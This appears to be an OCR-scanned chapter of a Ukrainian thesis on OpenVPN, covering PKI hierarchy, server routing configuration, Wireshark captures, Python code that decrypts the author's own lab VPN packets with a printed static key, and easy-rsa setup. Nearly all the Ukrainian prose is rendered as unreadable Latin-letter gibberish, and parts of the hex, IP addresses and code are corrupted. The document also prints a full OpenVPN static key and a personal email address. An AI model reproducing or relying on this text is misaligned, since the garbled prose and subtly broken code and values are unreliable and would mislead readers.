TIJIBKK OOMEXKY€e TIOMUJIKH, alie TAKOK MOKHA Kpallle JOTPUMYBATUCS IIPABIJI Ta 1HIITUX

3arajbHUX KpPUTEPIiB.

nap KJIro4iB. 3a3BU4al, Ik BAKOPUCTOBYETHCS Ha OUIBIIOCTI BEO-CaiTIB, BEPXHA
yactuHa iepapxiero € L{C. Lle kopiHb ycboro aepeBa, 1 10Bipa BKOpIHEHA Ha I[bOMY
piBHI. SIKIII0 KOPIHB € JOBIPEHHUM, YC1 TApH KIIFOYiB, 110 JEXATh B OCHOBI, TAKOXK
OynyTh 10BipsATH. 3 KopeHeBoro piBHA L[C MoxyTh OyTH KIII€EHTCHKI cepTU(IKATH,

ceptudikatu ceppepa, mianopsakopani L{C Ta ciucku BiAKIMKaHHS cepTU]ikaTiB

PKI, sixk mpaBuiio, € iepapxi4HOIO Oprasizaiieo ceptudikaTiB mudpyBaHHs Ta

(CRL). ITig xoxuoro cy6-CA 11€#l CIuCOK MOKIIMBOCTEHN MOBTOPIOETHCS

Pucynox 1.19 — lepapxiuna opranizariisi cepTudikariB mm@pyBaHHs Ta Map KIOYiB

Server ( Client
Centificate Certificate

Server

Certificate

Subordinate
Signing CA

Client

Certificate

v’/ Centificate
Revokation

List

Subordinate

Signing CA

Entire
Structure

Repeats as

needed
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VPN € no-cnpaBXHbOMY KOPUCHUM JIUIIIE TOA1, KO KiieHTH VPN MaroTh 10CTym 110
pecypciB Ha cTtopoHi cepBepa. I1lo6 oTpumaTu AOCTYII 10 ITUX pecypciB, HEOOX1THA
MapmipyTHu3aiis B Outeinocti Bunaakis. OpenVPN Mae 6arato ommii 1yis
aBTOMATUYHOT'O HAJIAIITYBaHHS Ta 3HUIICHHS JOJaTKOBUX MapIIPyTiB, KOJIH KIIEHT

HiI[KJ'IIO‘I&€TBC$I abo BiI[KHIO‘—IaCTBCH.

Site B LAN:
192.168.122.0/24

Internet
/WAN

Server
» tun0: 10.200.0.1

Client
tun0: 10.200.0.2 <

VPN

Pucynox 1.20 — [lemoHCTap11ist Mepexi

Caipg 3a3Ha4nTH, IO OUIBIIICTH MPOOJIEM 3 yCyHEeHHSAM Hemnonanok OpenVPN noB’s3aHi
3 MapuipyTu3zaiiero. HamamryBatu VPN-3'eqHaHHA - 11€ 0JHA CIIpaBa, OTpUMAaTH
Mepexy iHIIa cipasa. Lle yacto Mae maino crnusibHOro 3 camuM OpenVPN, ane Ouibiie 3
TaONMISIMU MapLIpyTH3allli Ta MpaBUIaMu OpaHaMayepa Ha KIIIEHTChKIN Ta CepBEPHIi

CTOPOHI.

Ha cTopoHi cepBepa 11 poOUTHCS OAHUM PSIKOM

Kobununcoxuii B Apk.
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proto udp

port 1194

dev tun

server 10.200.0.0 255.255.255.0
topology subnet

persist-key

persist-tun

keepalive 10 60

remote-cert-tls client
tls-auth /etc/openvpn/movpn/ta.key 0

dh /etc/openvpn/movpn/dh2048. pem
ca /Jetc/openvpn/movpn/movpn-ca.crt
cert /etc/openvpn/movpn/server.crt
key /etc/openvpn/movpn/server.key

user nobody
group nobody

verb 3
daemon
log-append /var/log/openvpn.log

push “route 192.168.122.0 255.255.255.0"

Pucynox 1.21 — JleMoHCTpallisi HAJIAITYBaHHS MapIIpyTH3allii Ha CTOPOHI cepBepa

1.3 Ananiz VPN nakery

Jlnst TectyBaHHs Oyjie BAKOPUCTOBYBATHUCS HACTYITHUM KITIOY, IKUH OyJI0 3HEPOBAaHO

KOMaH/1010 0penvpn —genkey —secret psk.key

#
# 2048 bit OpenVPN static key

----- BEGIN OpenVPN Static key V1-----

5234f601846bb1d5f059c70e75434beb <-- TyT NOYMHAETbLCA Mepwui K4 WwidpyBaHHA
89f41113ef56e2bf69253fad6a3@ab5f

a44920415216420265fd574429489141

cefd95a1d642830e9cf9cdcell3c55245

270ct7d367ddc6b56eblba749be40e42 <-- TyT NOYMHa€eTbCcA Apyrui kmwod ana HMAC
80cdf7cfbad178348a0e057f1fdc870

e5ba84717475b868a7fd617fee8c561c

b4575d983534ef71dd8aaad8a53ed469

Qae85faf4522f7defd89ba373a0d22ee <-- TYyT NOYMHAETHLCA APYrUin Kad wWudpyBaHHA
£9356e487fdfa0796boblfc393fd3ab5s

52db7aled691ddd50eeb7be2cc32d912

52df93987f4878ec42al2e3a7cda5a40

b12a850a05821b300359a796313cbcec <-- TyT NOYMHAETBLCA Apyruin knwd ana HMAC
4076483ec7692708c32d323ed0@80beba

60c58d9281fb5d27c688ac271d3b6d15

1695093291fb788dbbfefb8b7c7f9bef

————— END OpenVPN Static key V1-----

Koxni 4 psaka 3 HEX — e 512 6itHi kitoul. [lepruit 1 TpeTiit KIIrOY — 1€ KoYl JJIs

mudpyBaHHs, APyTUil 1 yeTBepTHil — Kirodi 11t HMAC
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Pucynok 1.22 — Jlemonctpanis Bmicty makety Wireshark

No Time | Source I Destmamn | Pro(ocolll.engll Info
= 7 ] ' = |
2 0.000515802 102.168.0.2 192 xoa .0. 1 Openvvu 240%@%9&’&1;9 Unknown Messagetype{Malformed Packet]
3 4.180771962 192.168.0.2 192.168.0.1 OpenVPN 104 MessageType: Unknown Messagetype[Malformed Packet]
4 4.190017319 192.168.0.1 192.168.0.2 OpenVPN 240 MessageType: Unknown Messagetype[Malformed Packet]
5 8.338301034 192.168.0.2 192.168.0.1 OpenVeN 168 MessageType: Unknown Messagetype{Malformed Packet]
6 8.338460347 192.168.1.2 192.168.1.1 1Cee 100 Echo (ping) request 1d=8x1ai3, seq=1/256, ttl=64 (reply in 7)
7 8.338482675 192.168.1.1 192.168.1.2 1Cne 100 Echo (ping) reply 1d=8x1a13, seqel/256, ttle=64 (request in 6)
8 8.338526798 192.168.0.1 192.168.0.2 OpenVPN 168 MessageType: Unknown Messagetype
« Frame 1: 104 bytes on wire (832 bits), 184 bytes captured (832 bits) on 3 O 04 U0 U1 OU UG 08 00 27 Ja B0 de 00 00 08 00 ........ vaulaaae
« LUinux cooked capture 45 00 60 58 1d 65 40 60 406 11 9c 3c c@ aa % 1 E..X..0. 0..<
- Internet Protocol Version 4, Src: 192.168.9.1, Dst: 192,.168.8.2 §G26 cO aB B0 62 B4 aa 64 aa 00 44 81 a9 (AR ... .
- User Datagram Protocol, Src Port: 1194, Dst Port: 1194 9038 & i
Cpe Pr 0048 ¢
0050
G066

Cnpobyemo posmudpyBatu 1ieit maket. VPN HanamroBanwmii mpairoBatu uepe3 UDP,

MakeT mouYnHaeThes Biapasy 3 HMAC

packet = un-

hex1lify("7c0a45b025b3225c9a60051699fc87baed44dec9026e792a7ff3842aabd7cc77b439564b42002

e5e327cbaf4c620cd80ca92c60139e2345a2c5d99bof")
print("HMAC = %s" % HMAC(key_hmac_0, packet[20:], 'shal').hexdigest())

PesynbTar

HMAC = 7c@a45b025b3225c9a60051699fc87baed44dec90

baunmo, mo po3paxoanuit Hamu HMAC 36iraetbest 3 HMAC, BcTaBieHHM B TIAKeT.

3HauUTh aBTEHTU(IKAIIIIO TAKEeTa MPOMICHO.

= packet[20:28]
encrypted part = packet[28:]

decrypted = Blowfish.new(key_encrypt_©, mode=Blowfish.MODE_CBC, IV=iv).decrypt(en-

crypted_part)
print("OTkpbiTbil TekcT: %s" % hexlify(decrypted).decode())

Pesynbrar

OTKpbITbI TEKCT: 00001 58069a45 287f346bd4ef7a812d56b8d3afc5459c00 ©7070707070707

[Tepuri 4 Gaittu — 11e HoMep nakeTa. dpyri 4 Gaiitu - TumuacoBa mimxa . Cim 6aitt 0x07

B KIHIII - 1€ MaaauHr (6aiTu, 10aHi npu mudpyBaHHi AJisl TOTO, 11100 JOBXUHA

TIOBIIOMJICHHS OyJ1a KpaTHA JJOBXKHHI OJIOKY).

packet_id = decrypted[:4]

timestamp = decrypted[4:8]

decrypted_data = decrypted[8:-decrypted[-1]]

print("ID nakeTa: %s" % hexlify(packet_id).decode())
print("BpemeHHaa meTka: %s" % hexlify(timestamp).decode())

print("Conepxumoe nakeTa: %s" % hexlify(decrypted_data).decode())

PesynbTar

Kobununcoxuit B

Kpyuuncokuu A.T KIKKPE - 125 - 08 - I73

3mn. | Apk. Ne 0okym. Iionuc | dama

Apx.

25




ID nakeTa: 0000001
BpemeHHasa meTka: 58069a45

Copepxumoe nakeTa: 287f346bd4ef7a812d56b8d3afc5459c00

| Destination | Protocol | Lengt | info |
197.168.0. n ssagelype: UNknown Messagetype

2 Opel
192 158 6 DpenvPN 740 Messagerype: Un) AGeType (M \Corned ¢
192.168.0.1 OpenVPN 184 MessageType: Unknown Messagetype[MaXWormed Packet
192.168.0.2 OpenVPN 240 MessageType: Unknown Messagetype[Malformed Packet}
192.168.0.1 OpenVPN 168 MessageType: Unknown Messagetype[Malformed Packet)
192.168.1.1 Icwp 160 Echo (ping) request 10=0x1a13, seq=1/256, ttl=64 (reply in 7)
192.168.1.2 Icup 168 Echo (ping) reply 10=0x1a13, seq=1/256, ttl=64 (request in 6)
192.168.0.2 OpenVvPN 168 MessageType: Unknown Messagetype
'+ Frame 2: e5 on e $)e 5 captur $) on f 5555 BO OB Bb &1 60 60 B8 o o 00 00 o8 00

+ Linux cooked capture
+ Internet Protocol Version 4, Src: 192.168.6.2, Dst: 102.168.6.1
5 unr'q!t gram Protocol, Src Port: 1194, Dst Port: 1164

48 11 e9 71 ¢
80 cc 92 b6 [ |

&:
&
s

cl 04 ae
Sd s 9
30 67 S0
bb 9c 22
70 8d a4
81 10 0
8f 06 da
53 22 07
ho 1 &
9¢c Te

-~
o

Pucynok 1.23 — JlemoHcTpatist BmMicty apyroro makery Wireshark

packet = un-
hexlify("91861a4479¢376d3013cdcd7f3e657ac093048cdb3a40775fc5804168842ef06288a9343acb2
98562aaa4c92c10aae2213441619c3df0d8b89a0f13f5dd69dleaale22667938b68e38a1238e39b76b889
b7b6e5dbadd8f3a264f6fc9bb9c225de387d5d17914b2e2853d71fbb706dad429f596721ab394febe7e5287
518310e9%e10ec16042398c4116c2069ef18f06dad5b55581a9997d1f54def143b053226727934404bed43
7920172d1b618bbf1b676b60f57889e734af6b54291d07d9c7e13573cc81e")

# Tak Kak B KOHOUrypauumoHHom o¢aine B onumm 'secret’ ykasaH HeobA3aTeNbHbIN NapameTp
'direction', TO Tpaduk B 3Ty CTOpoHY wndpyeTcA BTOPOW MApPOW KIHYEW.

key_hmac = key_hmac_1

key_encrypt = key_encrypt_1

print("HMAC = %s" % HMAC(key_hmac, packet[20:], 'shal').hexdigest())

iv = packet[20:28]

encrypted_part = packet[28:]

decrypted = Blowfish.new(key_encrypt, mode=Blowfish.MODE_CBC, IV=iv).decrypt(en-
crypted _part)

print("OTkpbiTbii TekcT: %s" % hexlify(decrypted).decode())

packet_id = decrypted[:4]

timestamp = decrypted[4:8]

decrypted_data = decrypted[8:-decrypted[-1]] # Y6upaem packet_id u timestamp us
Hayana M MagaMHr C KOHUa

print("ID nakeTa: %s" % hexlify(packet_id).decode())

print("BpemeHHaa meTka: %s" % hexlify(timestamp).decode())

print("Copepxumoe naketa HEX: %s" % hexlify(decrypted_data).decode())

print("Conepxumoe nakeTa: %s" % decrypted_data)
Pesynbrar

HMAC = 91861a4479c376d3013cdcd7f3e657ac093048cd

OTKpbITbIA TEKCT:
0000000158069a452871346bd4ef7a812d56b8d3afc5459c0156342c6465762d747970652074756e2c6¢6
96e6b2d6d747520313534342c74756e2d6d747520313530302c70726F746F2055445076342c6966636F6€
666967203139322e3136382e312e31203139322e3136382e312e322c6b657964697220312c63697068657
22042462d4342432c6175746820534841312c6b657973697a65203132382¢c73656372657400030303

ID nakeTa: 00000001

BpemeHHaa meTka: 58069a45

Kobununcoxuii B Apk.
Kpyuuncokuu A.T K/KKPE - 125 - 08 - I-I3 26
3mn. | Apk. Ne 0okym. Iionuc | dama




Copepxumoe nakeTta HEX:
287f346bd4ef7a812d56b8d3afc5459c0156342c6465762d747970652074756e2c6c696e6b2d6d7475203
13534342c74756e2d6d747520313530302c70726174612055445076342c696663616€666967203139322¢e
3136382e312e31203139322e3136382e312e322c6b657964697220312c6369706865722042462d4342432
C6175746820534841312c6b657973697a65203132382c73656372657400

Copepxumoe naketa B ASCII: b'(\x7f4k\xd4\xefz\x81-V\xb8\xd3\xaf\xc5E\x9c\x01V4,dev-
type tun,link-mtu 1544, tun-mtu 1500,proto UDPv4,ifconfig 192.168.1.1
192.168.1.2,keydir 1,cipher BF-CBC,auth SHAl,keysize 128,secret\x00'

bauumo, 1o niepmri 16 6aiT mporo makera - 0CC_Magic , a HacTymHUH OalT (THI
naketa, 1o ynpasisie) 0X01 == OCC_REPLY . V nakeri OCC_REPLY micns tumy
MakeTa MepeaacThCs CU-PAIOK 3 MapaMeTpamMu. B 1aHOMy BHITaIKy TTepEIacThCs TAKUH
tekct: V4,dev-type tun,link-mtu 1544,tun-mtu 1500,proto UDPv4,ifconfig 192.168.1.1
192.168.1.2 keydir 1,cipher BF-CBC,auth SHA1,key . Lle#i psiok Mo)KHA 3HAWTH B JIOTY
OpenVPN.

Hacrtynni aBa naketn — OCC_REQUEST Bix apyroro xocra nepuiomy

ta OCC_REPLY nHa HBOTO. PO3mmdpoByemMo ix aHAIOTIYHUM YHHOM:

No. | Time | Source | Destination | Protocol I Lengt | Info

1 0.000000000  192.168.0.1 102.168.0.2 OpenvPN 104 Messagelype: UNknown Messagetype

2 0.600515892 192,168.0.2 192.168.6.1 OpenVPN 240 MessageType: Unknown Messagetype[Malformed Packet]

4. 18977196, . 168.0. 192 g OpenyPN 184 | 1 K NOWT JeLype % 1

4 4,190017319 192.168.0.1 192.164.6.2 OpenVPN 240 Messagelype: Unknown Messagetype[ formed Packet)

5 8.338301034 192.168.0.2 192.168.0.1 OpenVPN 168 MessageType: Unknown Messagetype[Malformed Packet]

6 B.338460347 192.168.1.2 192.168.1.1 cMp 100 Echo (ping) request 1d=8x1a13, seq=1/256, ttl=64 (reply in 7)

7 B.33B482675 192.168.1.1 192.168.1.2 cup 180 Echo (ping) reply 1d=8x1a13, seq=1/256, ttl=64 (reguest in &)

B B.338526798 192.168.0.1 192.168.0.2 OpenVPN 168 MessageType: Unknown Messagetype
+ Frame 3: 104 Dytes on wire (BaZ bits), 104 Dytes captured (832 bits) on 1 OO0 DO DL OO U6 08 08 27 3/ a2 OO OD 0D OB OO0 ........ G.....
+ Linux cooked capture ) 45 00 00 58 cf c6 40 80 40 11 €9 Ta cP a8 00 82 E..X..0. 0..2....
+ Internet Protocol Version 4, Src: 192.168.8.2, Dst: 192.168.0.1 8026 cO aB 66 61 64 aa 64 aa 60 44 d7 ab I f
+ User Datagram Protocol, Src Port: 1194, Dst Port: 1194 A4 Ve 23 IC 9D o 8

0008 TR

Pucynok 1.24 — JlemoncTpaiist BMicTy Tpethoro nakety Wireshark

HMAC = fc52f6981ccb4d7c2a3c951bdlce8e88219155da

ID nakeTa: 00000002

BpemeHHaa meTka: 58069a45

Copepxumoe naketa HEX: 287f346bd4ef7a812d56b8d3afc5459c00

Copepxumoe nakeTa: b'(\x7f4k\xd4\xefz\x81-V\xb8\xd3\xaf\xc5E\x9c\x00'

Kobununcoxuii B Apk.
Kpyuuncokuu A.T KIKKPE - 125 - 08 - I73 27
3mn. | Apk. Ne 0okym. Iionuc | dama




No.  |Time | Source | Destination | Protocal | Lengt| info |
" 10. .168.0. 192.168.0. OpenvPN 104 Nessagelype: Unknown Messagetype

0.1 68.0
2 0.900515892 192,168.0.2 102.168.8. 240 MessageType: Unknown Nossagotypo[lhlform Packet]
3 4,189771962 0.2 192.168.8. geTyp : g

98017319 162.168. 0

EL
3

Py 0 nknown Messagetype dgmed Pac
68 1.2 £, ¥ | ICMp 169 Echo (ping) request 10'01(1313 seq-UZSO ttl=64 (reply in 7)
7 8.338482675 192.168.1.1 192.168.1.2 1cHp 100 Echo (ping) reply 10=0x1a13, $eq=1/256, ttl=64 (request in &)
B8 0.1 8.2

3 162,168.9.
.338460347 192.168.1.

.338526798 192.168.0. OpenVPN 168 MessageType: Unknown Messagetype

. €5 0N wire s), €% captur
~ Linux cooked capture
+ Internet Protocol Version 4, Src: 192,168.08.1, Dst: 192.168.9.2
Datagram Protocol, Src Port: 1194, Dst Port: 1104

[

OB N

- -

2.ﬂggo.n-.. *uu.

Pucynok 1.25 — JlemoncTpanist BMicTy yerBeproro makery Wireshark

[Ticast oTpuMaHHS HANAIMITYBaHb BIAJATCHOTO XOCTa JIOKAIBHUAN XOCT TepeBipsie
BIJIMOBIJTHICTh CBOIX Ta UyKMX HaJAIITYBaHb 1 BUAAE MOMEPEIKEHHS, SKIIIO €
HEBIJIMOBITHOCTI. B qanoMy Bumajaky 6aunmo, 1o HajamryBanas VPN Ha 060x

CTOpOHaX 30iraf0ThCS 3 TOYHICTIO 10 HAMIPSMKY:

V4,dev-type tun,link-mtu 1544 tun-mtu 1500,proto UDPvV4,ifconfig 192.168.1.1
192.168.1.2,keydir 1,cipher BF-CBC,auth SHA1,keysize 128,secret

V4 link-mtu 1544,tun-mtu 1500, proto UDPv4,ifconfig 192.168.1.2 192.168.1.1,keydir
0,cipher BF-CBC,auth SHA1 keysize 128,secret

Hacrtynuuii naker y npomy gammi tpadiky Hece AaHi kopuctyBada. PosmmudpoByemo ix

TaK caMo, SIK 1 paHiIlie:

No. | Time | source | Destination | Protocal | Lengt |
0. .168.0. 192.168.0. d Nessaquype: Unknown Wessagetype

1 0.1 0.2

2 9.000515892 192.168.0.2 192.168.8.1 Oponvpu 240 MessageType: Unknown Messagetype[Malformed Packet]

3 4,189771962 192.168.0.2 192.168.8.1 OpenVPN 104 MessageType: Unknown lessagotype Malformed Packet]

44, 199017319 192.168.0.1 .168.8.2 OpenVPN 248 MessageType: Unknown Messagetype{Malformed Packet

] 92.104 08 & OpenvP) 3 Malformed mteq

! 9 Y, ¥ 168.1. P 1 q 50G=1/4,40, o4 ply
| .168.1.1 68.1.2 ICHp 1.90 Ecno (pmg) reply m-onns $0g=1/256, ttl-sl (request in 6)
L 8 338526798 192.168.0.1 192.168.8.2 OpenVPN 168 MessageType: Unknown Messagetype

+ Frame 5: es on S). s) or [555 B8 00 ©
+ Linux cooked capture

+ Internet Protocol Version 4, Src: 102.168.0.2, Dst: 192.168.0.1
It uuergt gram Protocol, Src Port: 1194, Dst Port: 1194

Pucynok 1.26 — JlemoncTpanis Bmicty msitoro nakery Wireshark

HMAC = efe4850d41f0ed4a7535113310685d74c2722a0da
ID nakeTa: 00000003
BpemeHHaa meTka: 58069a45

Kobununcokuii B Apx.

Kpyuuncokuu A.T K/KKPE - 125 - 08 - I-I3 28
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Copepxumoe nakeTa HEX:
4500005420874000400196cecPaB80102c0aB80101080066ed1a1300014d9206580000000052390a0000000
000101112131415161718191a1b1c1d1e1202122232425262728292a2b2c2d2e213031323334353637

Tyt Hemae Hi 0OCC_Mmagic, Hi ping_magic (iHma Marigia KOHCTaHTa

nopiBHioe 2a187bf3641eb4cb07ed2d0a981fc748 ), e maker 3 nanumu. Hacripasmi 0x45
e nepmmid 6aiT [Pv4 makera 6e3 oniioHAIBHKX TOJTIB 3arojioBka. baunmo, 110 11e Toi
camuii IPv4 maket 3 ping-request, 1110 1 BUHIIOB 3 tun iHTepdeiicy (y hex Ha MaTIOHKY

[Pv4 nounHa€eThCs 3 APYTrOro psaKa):

No. ITlme I Source | Destination | Protocol l Lengt| Info
1 0.000000000 192.168.0.1 192.168.0.2 OpenVPN 104 MessageType: Unknown Messagetype
2 0.000515892 192.168.0.2 192.168.0.1 OpenVPN 240 MessageType: Unknown Messagetype[Malformed Packet]
3 4.189771962 192.168.0.2 192.168.0.1 OpenVPN 104 MessageType: Unknown Messagetype[Malformed Packet]
4 4,190017319  192.168.0.1 192.168.0.2 OpenVPN 240 MessageType: Unknown Messagetype[Malformed Packet]
5 8. 338301034 192.168.0.2 192.168.0.1 OpenVPN 168 MessageType: Unknown Messagetype[Malformed Packet]
7 8.338482675  192.168.1.1 192.168.1.2 1CMP 100 Echo (ping) reply  1d=0xial3, seq=1/256, tti=64 (request in 6)
8 8.338526798  192.168.0.1 192.168.0.2 OpenVPN 168 MessageType: Unknown Messagetype
+ Frame 6: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on 1 59 b ] 11571 B AR AMFS ST
+ Linux cooked capture 0ol 45 00 00 54 20 87 40 00 40 01 96 ce cO a8 91 82 EIT L@@
+ Internet Protocol Version 4, Src: 192.168.1.2, Dst: 192.168.1.1 20 cO a8 01 01 08 00 66 ed 1a 13 00 ©1 4d 9a 06 58 ...... | e M..X
+ Internet Control Message Protocol 00 00 00 00 5a 39 Ga 060 00 00 00 60 10 11 12 13 ....7Z9.. ........
491 14 15 16 17 18 19 1a 1b 1c id 1e 17 20 21 22 23 ........ .... g
24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 $®&'()*+ ,-./0123
34 35 36 37 4567
Pucynok 1.27 — Jlemonctparis BMicty IPCM request nmakety Wireshark
[TakeT y BIAIOBIAB:
No. |T’|me I Source Destination | Protocol | Lengtl Info ]
- 1 0.000000000 192.168.0.1 192.168.0.2 OpenVPN 104 MessageType: Unknown Messagetype
2 0.000515892  192.168.0.2 192.168.0.1 OpenVPN 240 MessageType: Unknown Messagetype[Malformed Packet]
3 4.189771962  192.168.0.2 192.168.0.1 OpenVPN 104 MessageType: Unknown Messagetype[Malformed Packet]
4 4.190017319  192.168.6.1 192.168.60.2 OpenVPN 240 MessageType: Unknown Messagetype[Malformed Packet]
5 8.338301034 192.168.6.2 192.168.0.1 OpenVPN 168 MessageType: Unknown Messagetype[Malformed Packet]
6 8.338460347 192.168.1.2 192.168.1.1 ICMP 100 Echo (ping) request id=0x1a13, seq=1/436, ttl=64 (reply in 7)
7 8.338482675 192.168.1.1 192.168.1.2 ICMP 100 Echo (ping) reply  id=6x1a13, seq=1/256, ttl=64 (request in 6)
+ Frame 8: 168 bytes on wire (1344 bits), 168 bytes captured (1344 bits) on | ¢ 8 89 4 00 00 U8 00  ........ NG
+- Linux cooked capture 10 45 90 00 98 22 92 40 00 40 11 96 61‘ CO aB 00 01 E...".@. @..0....
+- Internet Protocol Version 4, Src: 192.168.0.1, Dst: 192.168.0.2 0020 cO a8 00 02 04 aa 04 aa 00 84 81 e9 FUNECEECEEE ........ ....
+ User Datagram Protocol, Src Port: 1194, Dst Port: 1194 0030
ol Of 0040
0050
0060
0070
0080
0090 ¥
00a0

Pucynok 1.28 — Jlemonctparis Bmicty nakety Wireshark

HMAC = 2020108cd173e8829b91e8b34bd5cac2ab8a9cOb
ID nakeTa: 00000003

BpemeHHasa meTka: 58069a45

Copepxumoe naketa HEX:

450000547100000040017855c0a80101c0a8010200006eed1a1300014d9a0658000000005a39020000000
000101112131415161718191alb1c1d1e1f202122232425262728292a2b2c2d2e213031323334353637

Buano, mo 1ie Toit camuit IPv4 3 ping-reply, sikuii OyB BiAlpaBlIeHUI B TYHEb:

Kobununcoxuii B Apk.

Kpyuuncokuu A.T KIKKPE - 125 - 08 - I73
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No Time Source Destination | Protocol | Lengtl Info
1 0.000000000  192.168.0.1 192.168.0.2 OpenVPN 104 Messagelype: Unknown Messagetype
2 0.000515892  192.168.60.2 192.168.0.1 OpenVPN 240 MessageType: Unknown Messagetype[Malformed Packet]
3 4.189771962  192.168.60.2 192.168.0.1 OpenVPN 104 MessageType: Unknown Messagetype[Malformed Packet]
4 4,190017319  192.168.0.1 192.168.0.2 OpenVPN 240 MessageType: Unknown Messagetype[Malformed Packet]
5 8.338301034 192.168.0.2 192.168.0.1 OpenVPN 168 MessageType: Unknown Messagetype[Malformed Packet]
6 8.338460347 192.168.1.2 192.168.1.1 ICMP 100 Echo (ping) request id=0x1a13, seq=1/436, ttl=64 (reply in 7)
8 8.338526798 192.168.0.1 192.168.0.2 OpenVPN 168 MessageType: Unknown Messagetype
% Frame 7: 100 Dytes on wire (800 bits), 100 bytes captured (86@ bits) on i B6 04 T Te 00 00 63 08 03 02 5635 B8 B
+ Linux cooked capture 45 00 00 54 7f 00 00 00 40 01 78 55 cO a8 61 01 E..T.... @.xU....
+ Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.2 cO a8 01 02 00 00 6e ed 1l1a 13 00 01 4d 9a 06 58 ...... | I M..X
+ Internet Control Message Protocol 00 00 00 00 5a 39 Ga 60 00 00 €0 00 10 11 12 13 vove 0 ZFeceracn wienaren
14 15 16 17:18°'19 1a-db 1c id-de if 2021 22 23 i.i...iee dees g
24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 §%&'()*+ ,-./0123
34 35 36 37 4567

Pucynoxk 1.29 — Jlemonctpariis Bmicty |ICPM reply makery Wireshark

1.4 IlocTaHOBKA TEXHIYOI0 3aBIaHHA

Jlana numiaoMHa po0OOTa MOXE TMOCTYXKUTH TIATPYHTSAM JJsi CTBOPEHHS HOBHUX

CUCTEM MIJIKJIIOYEHHS MPUBATHUX BIPTyaJIbHUX MEPEX JUIsl TYHEJIIOBaHHA Tpadiky.

[Ipu3nauenHsiM po3poOku € HamamTyBanHs Ta aHami3z VPN Tpadika ayis Bu3HAYEHHS

MOXJIMBUX BpPa3JIMBUX MICIb B Oe3Ielri

1.5 BucHoBKHM 3 po3ainy

B mpomy pozaisi 6yio mpoananizoBana mpotokoia OpenVPN ta anamoriusi

POTOKOIH. ByJi0 MOPIBHAHO yC1 MPOTOKOJIU, iX SIKICTh IIBUJKICTh Ta MOXKJIUBICTD JUIS

MOJAJIBLIOr0 PO3ropTaHHA B OUTbII-MAcIITAOHUX BapiaHTaxX. bysio moka3zaHo BaxJIMB1

HajamTyBaHHs 1711 VPN, K1 CyTTEBO BINIMBAIOTh HA SIKICTh HAJaHHS ITOCIYT CBOIM

KJIIEHTaM.

Kobununcoxuit B

Kpyuuncokuu A.T

3mn.

Apk. Ne doxym.

ITionuc

Hama

KIK.KP.6 —-125-08 - 13
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PO3/1JI 2 PO3POBKA TA JOCJII/DKEHHA VPN

RemoteRouter

200.21.6.0 /24

GW: 200.21.6.254

210.21.6.0 /30

OpenVPN-server

IP: 200.71.6.6
GW: 200.21.6.254

2.1 MonenwoBaHHs MPOEKTY Mepeski 3 mpotokosom OpenVPN

MopentoBaTu IpoeKT Mepexi 1 00paB B emysitopt GNS3, ne 310paB npuMiTUBHY

cxemy JuIs ieMoHcTpartii posroptanas OpenVPN B HeBenukiil Mepexi.

211.21.6.0 /30

HomeRouter

i

F: 201.21.6.5
GW: 201.21.6.254

201.21.6.0 f24

Pucynok 2.1 — [Ipoext mepexi

Ha puc. 2.1 300paxeno cxemy mepexi 3 nporokoigom OpenVPN. {15 moBHOLIHHOT
pobotu cepBepy, MOTpiOHO 000B's3K0BO HanamTyBatu CA cepep (BiH MOxe OyTH
HajamroBanuii Ha cepBepi OpenVPN, abo sk B MEHE B MEpEXi — OKpeMo) Ha puc. 2.2

OyJ10 iHiIiaM130BaHO 1HGPACTPYKTYPY BIAKPUTHUX KITFOUIB
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vadym@vadym-VirtualBox: ~/easy-rsa

D6HOBNEHO @ nNakeToB, YCTaHOBAEeHO @ HOBLIX MakeToB, ANA YAANEHMA OTMEYeHO @ nakeT
be, M 104 nakeToB He obBHOBNEHO.
:$ 1n -s Jusr/share/easy-rsa/* ~feasy-rsa/

n: He yjanocb co3jaTb CHMMBONbHYW cceiky '/[home/vadym/easy-rsaj/easyrsa’': 0ain c
juecTeyeT
N: He yjanocbk co3jaTb CHMMBONbHYW ccuinky '/[home/vadym/easy-rsa/openssl-easyrsa.
nf': Qain cywecTeyeT

: He yjanocb Co3faTb CHMMBOAbHYW ccuaky '[home/vadymfeasy-rsaj/vars.example': O
BN cyuecTByeT

: He yjanocbk Co03JaTb CHMMBOAbHYW ccuaky '[home/vadymfeasy-rsa/x509-types': 0aH

cyuecTByeT

:$ chmod 700 fhome/vadym/easy-rsa/
:~% cd ~/easy-rsa/

$ ./easyrsa init-pki

ARNING!!!

ou are about to remove the EASYRSA PKI at: /home/vadym/easy-rsa/pki
hnd initialize a fresh PKI here.

ype the word 'yes' to continue, or any other input to abort.
=-—%*-m removal: yes

KopsnHa

nit-pki complete; you may now create a CA or requests.

our newly created PKI dir is: /home/vadym/easy-rsa/pki

: S |
Pucynok 2.2 — Inimianizaris PKI

Jlnst Toro mo0 BUIycKaTH cepTu(diKaTh, NOTPIOHO 3alIOBHUTE JIedKl 000B’A3KOBI

napameTpu

[+1 vadym@vadym-VirtualBox: ~/easy-rsa C — g

set_wvar EASYRSA_REQ_COUNTRY "UA"

set_var EASYRSA REQ_PROVINCE "Kiev"

set var EASYRSA REQ CITY "Zhytomyr"

set _var EASYRSA REQ ORG "Digitalocean"

set_var EASY_REG_EMAIL "kobylynskyiv@gmail.com"
set_var EASY_REQ_OU "Community"

set var EASYRSA_ALSO "ec"

set var EASYRSA DIGEST "sha512"

3anucaHo B CTpoOK
Wf CnpaBka WY 3anvcaTb Wi MNownck W BhipesaTb Wl BLINONHWTBL
Wi Buixopn Wi YuTdain 3aMeHa WY BCcTaBWTb W8 BLIPOBHATHL

Pucynok 2.2 — I'enepyBanns iHdopmariii st nianucy cepTudikaTiB
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Taxox 10 1uX mapaMeTpiB MOKHA JTOJIATH TaKi:
e EASYRSA_KEY_SIZE — neii mapameTp BKa3ye po3Mip KI04iB. 3a
3aMOBYYBaHHSAM J0piBHIOE 2048 OiT.

e EASYRSA_CA_EXPIRE ta EASYRSA_CERT_EXPIRE — BcranoBnenss

CpOKy [ii KJItoua Ta IHIINX cepTU(ikaTis.

3a momomororo komanau build-ca 3renepyrorbes aBa BaxmBi (aiiau — 1ie ca.Crt Ta

ca.key(mpuBaTHHMI), SIKI CKJIAAAI0Th MyOJIIYHUI Ta IPUBATHUH KOMIIOHEHT LICHTPY

